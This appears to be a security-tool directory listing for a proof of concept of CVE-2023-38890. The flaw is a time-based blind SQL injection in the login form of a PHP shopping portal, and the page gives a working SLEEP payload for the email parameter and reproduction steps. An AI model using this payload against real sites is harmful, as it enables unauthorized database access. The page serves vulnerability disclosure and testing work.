Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-38890 — poc | Kitploit
Tools/GitHubGitHub/akshadjoshi/cve-2023-38890
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubakshadjoshi/cve-2023-38890

CVE-2023-38890

poc

View Repository
23 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-38890

Description

Online Shopping Portal Project V3.1 allows remote attackers to execute arbitrary SQL commands/queries via the login form, leading to unauthorized access and potential data manipulation. This vulnerability arises due to insufficient validation of user-supplied input in the username field, enabling SQL Injection attacks.


Exploit Title: Online Shopping Portal Project V3.1 PHPgurukul - Time-Based Blind Sqli

Exploit Author: Akshad Joshi

Vendor Homepage: https://phpgurukul.com

Software Link: https://phpgurukul.com/shopping-portal-free-download/

Tested on: Linux

Steps to Reproduce

use this payload (url encode it):

root@kitploit:~
[email protected]' AND (SELECT 1866 FROM (SELECT(SLEEP(10)))JHcH) AND 'GMDH'='GMDH
  1. visit-http://localhost/shopping/login.php
  2. login via the account you created.
  3. there is front end validation so capture the request in burp .
  4. pass the above payload in email parameter and observe the response time
Download Tool